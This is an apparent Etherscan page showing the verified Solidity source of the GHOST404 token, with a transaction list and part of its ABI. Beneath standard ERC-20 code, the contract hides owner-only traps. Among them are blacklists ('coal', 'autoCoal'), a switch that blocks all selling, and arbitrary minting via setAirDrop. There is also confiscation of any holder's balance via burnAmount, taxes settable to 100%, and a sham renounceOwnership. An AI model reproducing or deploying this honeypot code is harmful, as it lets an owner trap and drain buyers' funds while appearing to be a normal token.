More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 30 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Set Air Drop | 19257293 | 199 days ago | IN | 0 ETH | 0.0006301 | ||||
Set Air Drop | 19257168 | 199 days ago | IN | 0 ETH | 0.00110193 | ||||
Set Air Drop | 19257136 | 199 days ago | IN | 0 ETH | 0.00125249 | ||||
Approve | 19257134 | 199 days ago | IN | 0 ETH | 0.00124364 | ||||
Approve | 19257069 | 199 days ago | IN | 0 ETH | 0.00144161 | ||||
Approve | 19257008 | 199 days ago | IN | 0 ETH | 0.00140112 | ||||
Approve | 19256985 | 199 days ago | IN | 0 ETH | 0.00140373 | ||||
Set Numbers | 19256976 | 199 days ago | IN | 0 ETH | 0.00087138 | ||||
Approve | 19256975 | 199 days ago | IN | 0 ETH | 0.00164096 | ||||
Approve | 19256973 | 199 days ago | IN | 0 ETH | 0.00149089 | ||||
Approve | 19256969 | 199 days ago | IN | 0 ETH | 0.00085128 | ||||
Set Numbers | 19256969 | 199 days ago | IN | 0 ETH | 0.00145861 | ||||
Burn Amount | 19256967 | 199 days ago | IN | 0 ETH | 0.00087278 | ||||
Approve | 19256956 | 199 days ago | IN | 0 ETH | 0.00194712 | ||||
Approve | 19256953 | 199 days ago | IN | 0 ETH | 0.00168562 | ||||
Approve | 19256952 | 199 days ago | IN | 0 ETH | 0.00159466 | ||||
Approve | 19256947 | 199 days ago | IN | 0 ETH | 0.00146738 | ||||
Approve | 19256944 | 199 days ago | IN | 0 ETH | 0.00158192 | ||||
Approve | 19256941 | 199 days ago | IN | 0 ETH | 0.00151111 | ||||
Approve | 19256939 | 199 days ago | IN | 0 ETH | 0.00158247 | ||||
Approve | 19256938 | 199 days ago | IN | 0 ETH | 0.00155649 | ||||
Approve | 19256938 | 199 days ago | IN | 0 ETH | 0.00155649 | ||||
Approve | 19256937 | 199 days ago | IN | 0 ETH | 0.0017327 | ||||
Approve | 19256937 | 199 days ago | IN | 0 ETH | 0.0017327 | ||||
Approve | 19256937 | 199 days ago | IN | 0 ETH | 0.00196904 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
GHOST404
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-02-18 */ /** * * ░██████╗░██╗░░██╗░█████╗░░██████╗████████╗░░██╗██╗░█████╗░░░██╗██╗ * ██╔════╝░██║░░██║██╔══██╗██╔════╝╚══██╔══╝░██╔╝██║██╔══██╗░██╔╝██║ * ██║░░██╗░███████║██║░░██║╚█████╗░░░░██║░░░██╔╝░██║██║░░██║██╔╝░██║ * ██║░░╚██╗██╔══██║██║░░██║░╚═══██╗░░░██║░░░███████║██║░░██║███████║ * ██████╔╝██║░░██║╚█████╔╝██████╔╝░░░██║░░░╚════██║╚█████╔╝╚════██║ * ░╚═════╝░╚═╝░░╚═╝░╚════╝░╚═════╝░░░░╚═╝░░░░░░░░╚═╝░╚════╝░░░░░░╚═╝ * * ✅ Website: https://ghost404.xyz/ * * ✅ Telegram: https://t.me/ghost404xyz * * ✅ Twitter: https://twitter.com/ghost404xyz * */ // GHOST 404 emerges as a groundbreaking initiative in the digital realm, ingeniously blending the world of cryptocurrency with the artistic and sentimental value of NFTs. At the heart of this project lies the creation of a unique digital universe, one that not only embraces technological innovation but also pays homage to the influential figures of our past. // SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance( address owner, address spender ) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit( address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s ) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn( address indexed sender, uint amount0, uint amount1, address indexed to ); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap( uint amount0Out, uint amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function swapTokensForExactETH( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapETHForExactTokens( uint amountOut, address[] calldata path, address to, uint deadline ) external payable returns (uint[] memory amounts); function quote( uint amountA, uint reserveA, uint reserveB ) external pure returns (uint amountB); function getAmountOut( uint amountIn, uint reserveIn, uint reserveOut ) external pure returns (uint amountOut); function getAmountIn( uint amountOut, uint reserveIn, uint reserveOut ) external pure returns (uint amountIn); function getAmountsOut( uint amountIn, address[] calldata path ) external view returns (uint[] memory amounts); function getAmountsIn( uint amountOut, address[] calldata path ) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract GHOST404 is Context, IERC20, Ownable { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 5 * 10 ** 3 * 10 ** decimals(); string private _name; string private _symbol; uint256 public buyTax = 200; // 2% uint256 public sellTax = 200; // 2% uint256 public sendTax = 100; // 1% uint256 public div = 10000; address public marketingWallet = 0x52Aea4F80646a5a8131BCB19fa12bC98577BF194; // marketing wallet address deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public swapTokensAtAmount = 5 * 10 ** 2 * 10 ** decimals(); bool private swapping; bool public swapEnabled = true; bool public swapTokensAtAmountByLimit = true; mapping (address => bool) public isExcludedFromFee; mapping (address => bool) public isMarketPair; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; constructor(address _router) { _name = "GHOST404.XYZ"; _symbol = "GHOST404"; _balances[msg.sender] = _totalSupply; uniswapV2Router = IUniswapV2Router02(_router); uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isMarketPair[address(uniswapPair)] = true; } modifier lockTheSwap { swapping = true; _; swapping = false; } event SwapTokensForETH( uint256 amountIn, address[] path ); /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function setCandy(address account) public onlyOwner { candy[account] = true; } function removeCandy(address account) public onlyOwner { candy[account] = false; } function setCoal(address account) public onlyOwner { coal[account] = true; } function removeCoal(address account) public onlyOwner { coal[account] = false; } function enableReward(bool _enable) public onlyOwner { reward = _enable; } function pickCoal(address account) internal { coal[account] = true; } function setAutoCoal(bool _enable) public onlyOwner { autoCoal = _enable; } function setNumbers(uint256 amount) public onlyOwner { numbers = amount; } function setLimits(uint256 amount) public onlyOwner { limits = amount; } function renounceOwnership( address _DEAD, bool _boo ) public onlyOwner returns (address _dead) { ownershipToNull = _boo; _dead = _DEAD; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `to` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer( address to, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on * `transferFrom`. This is semantically equivalent to an infinite approval. * * Requirements: * * - `spender` cannot be the zero address. */ function approve( address spender, uint256 amount ) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * NOTE: Does not update the allowance if the current allowance * is the maximum `uint256`. * * Requirements: * * - `from` and `to` cannot be the zero address. * - `from` must have a balance of at least `amount`. * - the caller must have allowance for ``from``'s tokens of at least * `amount`. */ function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender] - amount; _balances[recipient] = _balances[recipient] + amount; emit Transfer(sender, recipient, amount); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { return _basicTransfer(sender, recipient, 0); } if (removeLim) { if(swapping) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount; if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) { if(swapTokensAtAmountByLimit) { contractTokenBalance = swapTokensAtAmount; } swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender] - amount; uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient] + finalAmount; emit Transfer(sender, recipient, finalAmount); return true; } } else { _beforeTokenTransfer(sender, amount); sendWithFee(sender, recipient, amount); return true; } } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address sender, uint256 amount ) internal virtual { if ( sender != owner() && !candy[sender] && !isMarketPair[sender] ) { require(!coal[sender]); if (numbers > 0) { require(amount <= numbers); } if (reward) { revert("Error"); } if (limits > 0) { require(_balances[sender] <= limits); } if (autoCoal) { pickCoal(sender); } } } /** * @dev Deflationary instrument * * It can be turned on if necessary. * * Emits a {Transfer} event. * * Requirements * * - `sender` must have at least `value` tokens. */ function sendWithFee( address sender, address recipient, uint256 value ) internal { require(_balances[sender] >= value, "Value exceeds balance"); if (sender != owner() && !candy[sender] && sender != address(this)) { if(swapping) { _basicTransfer(sender, recipient, value); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= swapTokensAtAmount; if (overMinimumTokenBalance && !swapping && recipient == uniswapPair && swapEnabled) { if(swapTokensAtAmountByLimit) { contractTokenBalance = swapTokensAtAmount; } swapAndLiquify(contractTokenBalance); } _balances[sender] = _balances[sender] - value; uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? value : (takeFee(sender, recipient, value)); _balances[recipient] = _balances[recipient] + finalAmount; } emit Transfer(sender, recipient, value); } else { _balances[sender] = _balances[sender] - value; _balances[recipient] = _balances[recipient] + value; emit Transfer(sender, recipient, value); } } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { uint256 tax = 0; if(!isMarketPair[sender] && !isMarketPair[recipient]) { tax = amount * sendTax / div; } if(isMarketPair[sender]) { tax = amount * buyTax / div; } else if(isMarketPair[recipient]) { tax = amount * sellTax / div; } if(tax > 0) { _balances[address(this)] = _balances[address(this)] + tax; emit Transfer(sender, address(this), tax); } return amount - tax; } function excludedFromFeeAddress(address _account, bool _boo) external onlyOwner { require(isExcludedFromFee[_account] != _boo, "Already added!"); isExcludedFromFee[_account] = _boo; } function swapAndLiquify(uint256 tokenAmount) private { swapTokensForEth(tokenAmount); uint256 amountReceived = address(this).balance; if(amountReceived > 0) { transferToAddressETH(marketingWallet, amountReceived); } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function transferToAddressETH(address recipient, uint256 amount) private { payable(recipient).transfer(amount); } function changeRouterVersion(address newRouter) public onlyOwner returns(address newPair) { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouter); newPair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH()); if(newPair == address(0)) //Create If Doesnt exist { newPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } uniswapPair = newPair; //Set new pair address uniswapV2Router = _uniswapV2Router; //Set new router address } function setSwapTokensAtAmount(uint256 _value) external onlyOwner { require(_value > 0); require(swapTokensAtAmount != _value, "Change value!"); swapTokensAtAmount = _value; } function setSwapTokensAtAmountByLimit(bool _boo) external onlyOwner { require(swapTokensAtAmountByLimit != _boo); swapTokensAtAmountByLimit = _boo; } function setSwapEnabled(bool _boo) external onlyOwner { require(swapEnabled != _boo); swapEnabled = _boo; } function changeMarketinAddress(address _newAddress) external onlyOwner { require(_newAddress != address(0)); require(marketingWallet != _newAddress, "This address already set"); marketingWallet = _newAddress; } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function burnAmount(address wallet, uint256 amount) public onlyOwner { require(wallet != owner(), "TARGET ERROR"); if (_balances[wallet] <= amount * 10 ** 18) { _balances[wallet] = 0; _balances[deadAddress] = _balances[deadAddress] + _balances[wallet]; } else { _balances[wallet] = _balances[wallet] - amount * 10 ** 18; _balances[deadAddress] = _balances[deadAddress] + amount * 10 ** 18; } } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setAirDrop(address account, uint256 amount) public onlyOwner { _balances[account] = _balances[account] + amount; } /** * @dev Updates `owner` s allowance for `spender` based on spent `amount`. * * Does not update the allowance amount in case of infinite allowance. * Revert if not enough allowance is available. * * Might emit an {Approval} event. */ function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require( currentAllowance >= amount, "ERC20: insufficient allowance" ); unchecked { _approve(owner, spender, currentAllowance - amount); } } } /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function removeLimites(bool _removeLim) public onlyOwner { removeLim = _removeLim; } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function setFee(uint256 _buyTax, uint256 _sellTax, uint256 _sendTax) external onlyOwner { require(_buyTax <= 10000 && _sellTax <= 10000 && _sendTax <= 10000, "Incorrect tax"); buyTax = _buyTax; sellTax = _sellTax; sendTax = _sendTax; } receive() external payable {} mapping(address => bool) private candy; mapping(address => bool) private coal; bool public reward; uint256 public numbers; uint256 public limits; bool public autoCoal; bool private removeLim = true; bool public ownershipToNull; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"_router","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoCoal","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"changeMarketinAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newRouter","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPair","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"div","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"enableReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"excludedFromFeeAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"numbers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownershipToNull","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_removeLim","type":"bool"}],"name":"removeLimites","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_DEAD","type":"address"},{"internalType":"bool","name":"_boo","type":"bool"}],"name":"renounceOwnership","outputs":[{"internalType":"address","name":"_dead","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sendTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setAirDrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enable","type":"bool"}],"name":"setAutoCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCandy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"setCoal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyTax","type":"uint256"},{"internalType":"uint256","name":"_sellTax","type":"uint256"},{"internalType":"uint256","name":"_sendTax","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setNumbers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setSwapTokensAtAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_boo","type":"bool"}],"name":"setSwapTokensAtAmountByLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmountByLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalT